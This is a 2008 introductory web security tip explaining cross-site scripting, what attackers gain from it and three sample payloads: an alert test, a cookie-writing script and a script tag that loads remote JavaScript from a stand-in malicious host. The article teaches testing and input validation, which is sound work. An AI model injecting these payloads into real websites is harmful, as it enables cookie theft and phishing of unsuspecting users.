Cross-site scripting (also referred to as XSS) is one of those pesky Web security problems that's been around forever. It just never seems to go away. It affects the majority of Web applications I look at and, based on hack attack stories we see in the news, it appears that it's still a widespread problem. Seemingly too complex an issue for many developers to understand, XSS is actually pretty straightforward.
Requires Free Membership to View
When you register, you’ll also receive targeted alerts from my team of editorial writers and independent industry experts with the latest news, tips, and advice to help you do your job more efficiently and effectively. Our goal is to keep you informed on the hottest topics and biggest challenges faced by IT professionals today working with desktop management and security technologies.
Margie Semilof, Editorial Director
 |
||||
|
|
|||
|
||||
When XSS is successful, the following can occur:
- Cookies can be manipulated or stolen from the victim's browser.
- The history list can be read from the victim's browser.
- The local IP address of the victim's computer can be determined.
- The user can be socially-engineered (or phished) into divulging Web site login credentials.
All of this information can be captured via the Web server's log files or even sent to a third-party site.
Here are three popular ways to execute XSS via JavaScript:
- Entering an alert, such as
<script>alert ('XSS!')</script>
This is the easiest and most basic way to test for XSS. The expected result would the Web browser reflecting back the script you input, like the following:
- Entering a cookie command, such as <script>document.write(document.cookie)</script>
This is how JavaScript can be used to manipulate cookies on the local system.
- Entering a link to a remote URL containing malicious JavaScript code, such as
<script src=http://www.XSS~test~site.com/illintent.js></script>
This is how a lot of phishing attacks occur. The attacker simply embeds a link such as the one above in an email hyperlink or a Web 2.0 page. Once an unsuspecting user clicks the link, the remote JavaScript runs, the attack is carried out and the user is none the wiser. Keep in mind that the field length assigned to the vulnerable Web page field may limit the attacker from entering such long input data. However, it does not eliminate XSS altogether since the field length can be manipulated in real time using a Web proxy. Browser security settings can prevent such code from running too.
In the grand scheme of Web security vulnerabilities, XSS attacks are pretty basic. They just follow the tried and true assumption that Web applications don't provide good input validation and users can be easily lured in to do whatever. In my follow-up to this tip, I'll give you some real-world examples of Web sites with XSS vulnerabilities and show exactly what can happen when they are exploited.
About the author: Kevin Beaver is an independent information security consultant, keynote speaker, and expert witness with Atlanta-based Principle Logic, LLC where he specializes in performing independent security assessments. Kevin has authored/co-authored seven books on information security including Hacking For Dummies and Hacking Wireless Networks For Dummies (Wiley). He's also the creator and author of the Security On Wheels blog and information security audio programs providing security learning for IT professionals on the go. Kevin can be reached at kbeaver --at- principlelogic.com.
This was first published in January 2008
Join the conversationComment
Share
Comments
Results
Contribute to the conversation